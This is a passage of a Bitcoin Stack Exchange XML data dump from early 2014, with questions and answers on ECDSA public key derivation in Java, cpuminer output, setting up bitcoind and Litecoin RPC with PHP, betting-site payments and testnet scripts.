this.bytesToHex(pubKeyBytes);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are also two functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;final protected static char[] hexArray = &quot;0123456789ABCDEF&quot;.toCharArray();&#xA;public String bytesToHex(byte[] bytes) {&#xA;    char[] hexChars = new char[bytes.length * 2];&#xA;    int v;&#xA;    for ( int j = 0; j &amp;lt; bytes.length; j++ ) {&#xA;        v = bytes[j] &amp;amp; 0xFF;&#xA;        hexChars[j * 2] = hexArray[v &amp;gt;&amp;gt;&amp;gt; 4];&#xA;        hexChars[j * 2 + 1] = hexArray[v &amp;amp; 0x0F];&#xA;    }&#xA;    return new String(hexChars);&#xA;}&#xA;&#xA;private byte[] removeSignByte(byte[] arr)&#xA;{&#xA;    if(arr.length==33)&#xA;    {&#xA;        byte[] newArr = new byte[32];&#xA;        System.arraycopy(arr, 1, newArr, 0, newArr.length);&#xA;        return newArr;&#xA;    }&#xA;    return arr;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I used bytesToHex() earlier and there weren't any problems. So the thing is that generatePublicKey() does not work properly. I tried to insert private key known from bitcoin wiki:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(from &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should create long public key (even before all hashing) - step 2 on wiki:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0450863AD64A87AE8A2FE83C1AF1A8403CB53F53E486D8511DAD8A04887E5B23522CD470243453A299FA9E77237716103ABC11A1DF38855ED6F2EE187E9C582BA6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the answer is wrong. Could you Guys look at this and point my mistakes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ofc, programming language is Java and cryptographic provider was Bouncy Castle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I accidentally solved my problem. When I was writing this function, Eclipse told me function getX() (and getY()) is depracated. So I used getXCoord(), because I thought its result is the same. In feeling hopeless I used getX() instead getXCoord() and whole function magically worked!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the difference between getX() and getXCoord() ? &lt;/p&gt;&#xA;" OwnerUserId="12132" LastEditorUserId="12132" LastEditDate="2014-01-12T19:57:46.293" LastActivityDate="2018-04-16T04:00:58.890" Title="Public key from private key generation problem" Tags="|private-key|public-key|ecdsa|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20451" PostTypeId="1" AcceptedAnswerId="20480" CreationDate="2014-01-12T17:19:07.037" Score="-1" ViewCount="2077" Body="&lt;p&gt;I am new to bit coins.  I an now running slush pool.  What does a yay!!! mean?  Is the number of yays a good thing?  I had more servers, I get more yay!!!!&lt;/p&gt;&#xA;&lt;p&gt;The lib I am using:   cpuminer&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://www.return1.at/bitcoin-miner-ubuntu/&#xA;./minerd --url=http://api.bitcoin.cz:8332&#xA;&#xA;  [2014-01-13 05:05:28] thread 0: 55109708 hashes, 1264 khash/s&#xA;   [2014-01-13 05:06:28] thread 0: 75821248 hashes, 1266 khash/s&#xA;   [2014-01-13 05:07:28] thread 0: 75957608 hashes, 1264 khash/s&#xA;   [2014-01-13 05:08:28] thread 0: 75848480 hashes, 1268 khash/s&#xA;   [2014-01-13 05:09:09] thread 0: 52297492 hashes, 1268 khash/s&#xA;   [2014-01-13 05:09:09] accepted: 9/9 (100.00%), 1268 khash/s (yay!!!)&#xA;   [2014-01-13 05:10:09] thread 0: 76107420 hashes, 1270 khash/s&#xA;   [2014-01-13 05:11:09] thread 0: 76221520 hashes, 1269 khash/s&#xA;   [2014-01-13 05:12:09] thread 0: 76115796 hashes, 1270 khash/s&#xA;   [2014-01-13 05:13:03] Stratum detected new block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the layman's explanation?&lt;/p&gt;&#xA;" OwnerUserId="12127" LastEditorUserId="42868" LastEditDate="2022-09-02T15:26:21.980" LastActivityDate="2022-09-02T15:26:21.980" Title="In slush pool, what does a yay!!! mean when using cpuminer" Tags="|mining-pools|terminology|slush|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20452" PostTypeId="2" ParentId="20336" CreationDate="2014-01-12T17:50:37.967" Score="0" Body="&lt;p&gt;Howdy? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok I was searching for tutorials all over internet on &quot;how to integrate bitcoin daemon with php&quot; I came up with many and none of them helped me to get it working flawlessly, some of them threw unexpected and strange errors after 90% completion and some of them good enough to throw error in starting only which saved my time and efforts. Now that I have done what I was looking for why not create a step by step tutorial to help fellow members. So let's get started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before we start you should install tmux which helps you save your work even if you are disconnected from the vps. To install tmux:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tmux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to start tmux simply type tmux and to get back on mai screen press ctrl b and then d to restore the session again type tmux attach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am expecting you have a Ubuntu 12.x or later because that is what i used for installation. Log in to your VPS or your computer's terminal and install python software properties by typing following command : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install python-software-properties&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add repository ppa:bitcoin/bitcoin by typing following command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:bitcoin/bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case this didn't work and threw an error stating that add-apt-repository command not found. In ubuntu later version versions this command is not found under python-software-properties package, like in previous versions, but available in software-properties-common. So I had installed it by running these commands :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo aptitude install software-properties-common&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To find in which package the command we are looking for exists the following will be of help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-fille update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately in my case this was also not installed so I had installed it by running following command :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install apt-file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I got the message &quot;The file is up to date&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now run &#xA;    sudo apt-file search add-apt-repository&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will be prompted to confirm this installation, press Enter key to confirm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo aptitude update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then &#xA;    sudo aptitude install bitcoind&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make a new directory by typing :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir ~/.bitcoin&#xA;cd ~/.bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create a new file inside this directory named bitcoin.conf by typing:&#xA;    nano bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;insert the following code in the text file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;daemon=1&#xA;rpcuser=any_username&#xA;rpcpassword=any_password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Exit by pressing ctrl+x to confirm the changes press Y and then press return key. Start the bitcoin daemon by typing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitcoin daemon is now installed and runing you can check it by running the following command &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now we will install apache and php on our server&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To install apache we will run th following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install apache2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;once apache is installed verify it by typing your ip address in the browser it will say &lt;strong&gt;It works!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now we will install php by following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install php5 libapache2-mod-php5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now navigate to var/www folder and download jsonRPCClient.php with the following command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget http://pmtocoins.com/JSON-RPC_PHP_light.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;once downloaded unzip it by typing:&#xA;    unzip JSON*.zip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no move to the directory by:&#xA;    cd json*/includes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and move jsonRPCClient.php into your www folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now create a new index.php file in www folder with following code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include_once('jsonRPCClient.php');&#xA;$bitcoin = new jsonRPCClient('http://your_username:your_password@127.0.0.1:8332/');&#xA;print_r($bitcoin-&amp;gt;getinfo());&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you are done navigate to your ip address on the browser e.g 161.232.12.1/index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a look on API call list here : &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-12T17:50:37.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20454" PostTypeId="1" AcceptedAnswerId="20456" CreationDate="2014-01-12T20:06:04.310" Score="1" ViewCount="266" Body="&lt;p&gt;Let's say I wanted to host a site in which&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;users create their own accounts&lt;/li&gt;&#xA;&lt;li&gt;they deposit bitcoins in said accounts&lt;/li&gt;&#xA;&lt;li&gt;a commission of, say, 0.05% is kept of all the bitcoins that are deposited in the site&lt;/li&gt;&#xA;&lt;li&gt;users play a competitive game with each other (e.g. chess, or others for more players) for a bet&lt;/li&gt;&#xA;&lt;li&gt;the winner gets the full bet&lt;/li&gt;&#xA;&lt;li&gt;each user can withdraw their bitcoins any time they want&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This, I figure, would be quite hard to get right due to all of the different aspects involved, such as user trust, security and technicalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How do current betting sites handle the deposits/withdrawals of bitcoins, and how do they keep a commission out of it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any small site &lt;em&gt;could&lt;/em&gt; rely on trust and do this in a manual fashion, but I'd assume any professional site does not handle this manually. So, is there an existing library (I'll use Node.js, in case it matters) or third-party service for this? And should the bitcoins be stored in a conventional offline wallet(s)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And last, is there a way to &quot;prove&quot; that the games are fair in order to establish trust? Are there any legal requirements regarding to this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12134" LastEditorUserId="132" LastEditDate="2014-01-13T13:20:02.407" LastActivityDate="2014-01-13T13:20:02.407" Title="What's needed to host a competitive game site" Tags="|security|api|payment|websites|gambling|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="20455" PostTypeId="2" ParentId="20394" CreationDate="2014-01-12T21:03:24.727" Score="2" Body="&lt;p&gt;When Bitcoin-qt synchronizes with the network, it is not only downloading blocks (lists of transactions) but also verifying them: checking cryptographic signatures, etc.  This gives you independent verification that the blocks you've received are true and correct, and that you're not being sent fake data by some malicious peer on the network.  However, it is computationally intensive, especially given the large volume of Bitcoin transactions, and I am not sure that Bitcoin-qt has highly optimized code.  Other clients may do a reduced amount of verification, saving time and CPU, but at the expense of some security.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-01-12T21:03:24.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20456" PostTypeId="2" ParentId="20454" CreationDate="2014-01-12T21:10:17.580" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How do current betting sites handle the deposits/withdrawals of bitcoins, and how do they keep a comission out of it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just like any other payment: you track the blockchain and keep balances in your server database.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can charge the commission on deposit (e.g. 0.5% fee, when depositing 10BTC just credit 9.95BTC)&lt;/li&gt;&#xA;&lt;li&gt;You can charge per game (e.g. when each player bets 5BTC in a 2 player game = 10BTC, only pay the winner 4.95 from their rival) and keep 0.05 (0.5%).&lt;/li&gt;&#xA;&lt;li&gt;In betting games you can also schew the long-term statistics against you so the house has an edge (just like casino roulettes have 0, and some even 00).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any small site could rely on trust and do this in a manual fashion, but I'd assume any professional site does not handle this manually. So, is there an existing library (I'll use Node.js, in case it matters) or third-party service for this? And should the bitcoins be stored in a conventional offline wallet(s)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This would work just like any other business, just browse this site. You can rely on external businesses to do this for you, or create the system yourself (leveraging libraries or not, you must listen to the blockchain events and act accordingly).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And last, is there a way to &quot;prove&quot; that the games are fair in order to establish trust?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If games are deterministic (like chess) the issue boils down to trust between users (&lt;em&gt;is this guy going to cheat me using a chess engine?&lt;/em&gt;) since you couldn't influence the outcome anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If games are based on chance, either the users must have faith in you or you have to provide a way for the user to verify you're not cheating him. How such a scheme could be implemented depends on the detailed mechanics of the game (you could even leverage Bitcoin's blockchain for this).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there any legal requirements regarding to this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Dealing with the legal system is the hard part here. Just like any other legal matter... it depends on your jurisdiction! In my country you have to be audited before running a betting business.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastEditorUserId="11761" LastEditDate="2014-01-12T21:16:39.333" LastActivityDate="2014-01-12T21:16:39.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20457" PostTypeId="1" AcceptedAnswerId="23549" CreationDate="2014-01-12T22:05:02.393" Score="2" ViewCount="2000" Body="&lt;p&gt;Just before few hour I have setup bitcoin daemon on my ubuntu server and tested it with API and it is responding very well. Now I have installed litecoin daemon on the same server and used copied the same php files with a little sytax changes like change in username and password and port number but it is not responding to any API calls. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content of litecoin.conf are :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;daemon=1&#xA;rpcuser=my_username&#xA;rpcpassword=mypassword&#xA;rpcport=9332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Content of litecoin.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include_once('jsonRPCClient.php');&#xA;$variable = $_GET['variable'];&#xA;$litecoin = new jsonRPCClient('http://my_user:my_password@127.0.0.1:9332/');&#xA;if($variable=='getnewaddress')&#xA;{&#xA;echo $litecoin-&amp;gt;getnewaddress();&#xA;}&#xA;else if($variable=='getinfo')&#xA;{&#xA;print_r($litecoin-&amp;gt;getinfo());&#xA;}&#xA;else&#xA;{&#xA;echo &quot;hello&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help of what I am doing wrong here ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to figure out why php file is not throwing any error if there is any then I discovered that error_reporting in php.ini file is turned off after turning it on I got following error while executing litecoin.php on the browser :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: fopen(&lt;a href=&quot;http://...@myserveraddress.com:9332/&quot; rel=&quot;nofollow&quot;&gt;http://...@myserveraddress.com:9332/&lt;/a&gt;): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in /var/www/jsonRPCClient.php on line 132&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Uncaught exception 'Exception' with message 'Unable to connect to &lt;a href=&quot;http://myuser:mypassword@myserveraddress.com:9332/&quot; rel=&quot;nofollow&quot;&gt;http://myuser:mypassword@myserveraddress.com:9332/&lt;/a&gt;' in /var/www/jsonRPCClient.php:140 Stack trace: #0 /var/www/litecoin.php(12): jsonRPCClient-&gt;__call('getinfo', Array) #1 /var/www/litecoin.php(12): jsonRPCClient-&gt;getinfo() #2 {main} thrown in /var/www/jsonRPCClient.php on line 140&lt;/p&gt;&#xA;" OwnerUserId="10829" LastEditorUserId="10829" LastEditDate="2014-01-13T11:26:05.220" LastActivityDate="2017-12-22T17:41:54.163" Title="Litecoin daemon is not responding to API calls" Tags="|litecoin|php|daemon|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20458" PostTypeId="2" ParentId="148" CreationDate="2014-01-12T22:57:03.003" Score="0" Body="&lt;p&gt;Mining is just running a application on your computer to confirm the transactions of the crypto currency for which you get paid as fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will say mining is the soul of crypto currency, according to today's scenario everyone creating new coin everyday but some of them goes to the moon and some of them just vanish in a couple of weeks, why? because a coin is alive until there are people to mine it. Take a example of a coin which has only 100 miners and you bought 1000 such coins after a few days miners stopped mining that coin, now you cannot sell that coin to anyone even if you have a potential buyer, why? because your transaction will not confirm until there are people mining that coin. The price of coins go up because of mining, why? because as many miners start mining the currency the difficulty increases, with the increase of difficulty mining coins will take more time, more miners more demand less coins. Increment in rates.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-12T22:57:03.003" CommentCount="0" CommunityOwnedDate="2014-01-12T22:57:03.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="20459" PostTypeId="2" ParentId="19589" CreationDate="2014-01-12T23:16:23.507" Score="-4" Body="&lt;p&gt;That is not possible because just looking at the file you can't say whats in there until you have saved these wallet.dat files in different folders second thing is you cannot read content of a .dat file. So its not possible.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-12T23:16:23.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20460" PostTypeId="2" ParentId="20407" CreationDate="2014-01-12T23:34:36.973" Score="0" Body="&lt;p&gt;Oops, It turns out I didn't use stratum mining server properly, instead I used stratum alone.  There's an important distinction between the two.&lt;/p&gt;&#xA;" OwnerUserId="11872" LastActivityDate="2014-01-12T23:34:36.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20462" PostTypeId="2" ParentId="148" CreationDate="2014-01-13T00:04:50.807" Score="4" Body="&lt;p&gt;In more simple terms:&#xA;Actual mining means, you sweat digging something and then find some useful metals.&#xA;In bitcoin mining, your computer sweats calculating blocks and in return the bitcoin protocol gives you some bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in actual mining, you find precious metals which doesn't belong to anyone. Similarly, in bitcoin mining, the bitcoin protocol generates new bitcoins (Only upto 21 millions though) (which are not belonged to anybody) and gives you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the word &quot;mining&quot; makes perfect sense.&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-13T00:04:50.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20463" PostTypeId="1" CreationDate="2014-01-13T00:25:20.170" Score="4" ViewCount="2070" Body="&lt;p&gt;Most of my initially received bitcoins were from faucets and therefore, these micro amounts ended up being dust transactions. Since then, I've bought some bitcoins which are not dust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to send 0.0005 BTC to test out Blockchain.info's &quot;receive payment API&quot; (&lt;a href=&quot;http://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/api/api_receive&lt;/a&gt;) PHP example (&lt;a href=&quot;https://github.com/blockchain/receive_payment_php_demo&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blockchain/receive_payment_php_demo&lt;/a&gt;).  But Bitcoin-QT is telling me that I must pay 0.0005 BTC transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found out that the fee is due to the dust transactions.  Now, I like to get rid of these dust transactions  by combining their amounts.  Can anyone suggest an easy way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of installing Armory and then transferring all of my bitcoins from my Bitcoin-QT wallet, in one transaction, to my Armory wallet.  Will this eliminate the dust transactions by combining all of my dust amounts together?  Will my new Armory wallet contain just one input transaction, and not over a dozen transactions of small amounts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Armory is not the way to collect the dust transactions, can someone explain how to?&lt;/p&gt;&#xA;" OwnerUserId="12048" LastEditorUserId="132" LastEditDate="2014-01-13T13:04:41.567" LastActivityDate="2014-12-01T18:12:59.623" Title="How to collect Dust transactions?" Tags="|transaction-fees|armory|dust|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20465" PostTypeId="2" ParentId="20310" CreationDate="2014-01-13T01:05:31.563" Score="2" Body="&lt;p&gt;And how exactly would the network agree on the last included block in order to spawn &lt;em&gt;your&lt;/em&gt; new blockchain? That would be kind of complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion Merkle tree is already fixing the problem. Downloading the headers of each block is enough to verify payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that only miners actually need all of the blockchain data. Clients don't.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-01-13T01:14:11.570" LastActivityDate="2014-01-13T01:14:11.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20466" PostTypeId="1" CreationDate="2014-01-13T01:14:58.547" Score="1" ViewCount="212" Body="&lt;p&gt;I am experimenting in testnet with nonstandard scripts. There was a &lt;a href=&quot;http://blockexplorer.com/testnet/tx/b6f797665c07ae87e1f2473a41ddd28724954f8109bc2cd0a5b9d98db057f231&quot; rel=&quot;nofollow&quot;&gt;transaction&lt;/a&gt;, created by me, with the following vout script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH256 19c6197e2140b9d034fb20b9ac7bb753a41233caf1e1dafda7316a99cef41416 OP_EQUALVERIFY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hash is &lt;code&gt;DoubleSha256([1, 2, 3])&lt;/code&gt;. When I try to create and send transaction with correct input, I've got &lt;code&gt;TX rejected (code -22)&lt;/code&gt;. Here is raw transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;010000000131f257b08dd9b9a5d02cbc09814f952487d2dd413a47f2e187ae075c6697f7b6000000000403010203ffffffff0140899500000000001976a9147593bcb001ff8859764b4ffd61233bb3a7971c5988ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And JSON-decoded version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;67c897e33ef2d9ec4464266c79d7b4a8afc783d8b5401e510227a3d6db42e75c&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [{&#xA;        &quot;txid&quot; : &quot;b6f797665c07ae87e1f2473a41ddd28724954f8109bc2cd0a5b9d98db057f231&quot;,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;197121&quot;,&#xA;            &quot;hex&quot; : &quot;03010203&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }],&#xA;    &quot;vout&quot; : [{&#xA;        &quot;value&quot; : 0.09800000,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 7593bcb001ff8859764b4ffd61233bb3a7971c59 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a9147593bcb001ff8859764b4ffd61233bb3a7971c5988ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [ &quot;mrEeLT14n2DN7fQnTas2vU4QkWjejS94BN&quot; ]&#xA;        }&#xA;    }]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-01-13T01:14:58.547" Title="Nonstandard script - TX rejected" Tags="|transactions|bitcoin-core|script|testnet|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20467" PostTypeId="1" AcceptedAnswerId="20472" CreationDate="2014-01-13T01:21:13.113" Score="7" ViewCount="2445" Body="&lt;p&gt;This address:n1JagbRWBDi6VMvG7HfZmXX74dB9eiHJzU (on testnet) has a negative balance of -0.27388239 according to: &lt;a href=&quot;https://www.biteasy.com/testnet/addresses/n1JagbRWBDi6VMvG7HfZmXX74dB9eiHJzU&quot;&gt;https://www.biteasy.com/testnet/addresses/n1JagbRWBDi6VMvG7HfZmXX74dB9eiHJzU&lt;/a&gt;, namely, it has sent more coins than it has received. Is that possible? Is it an error on the block explorer?&lt;/p&gt;&#xA;" OwnerUserId="12146" LastActivityDate="2014-01-21T20:12:01.627" Title="Can an address have negative balance?" Tags="|address|testnet|blockexplorer|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20468" PostTypeId="2" ParentId="20467" CreationDate="2014-01-13T01:45:38.943" Score="0" Body="&lt;p&gt;Each wallet or &lt;code&gt;wallet.dat&lt;/code&gt; file consists of many separate accounts and each account can have many separate addresses. My understanding is that it is possible for a given account or a specific address to have a negative balance but not the wallet itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for instance I could have a wallet with two accounts &lt;code&gt;foo&lt;/code&gt; and &lt;code&gt;bar&lt;/code&gt; and with balances of -4 btc and 5 btc respectively but if I query the balance of the wallet itself then it will show 1 btc. I could not however have an accont with 4 btc and the only other with -5 btc because this would leave the wallet with a negative balance.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-01-13T01:45:38.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20469" PostTypeId="2" ParentId="20457" CreationDate="2014-01-13T01:47:53.093" Score="1" Body="&lt;p&gt;First add this line to &lt;code&gt;litecoin.conf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then make sure you've added the litecoin command to your path&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo cp litecoind /usr/bin/litecoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that your starting the litecoin daemon&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;litecoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and test with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;litecoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if all that works then JSON RPC should work fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of that works try setting up the client by following this &lt;a 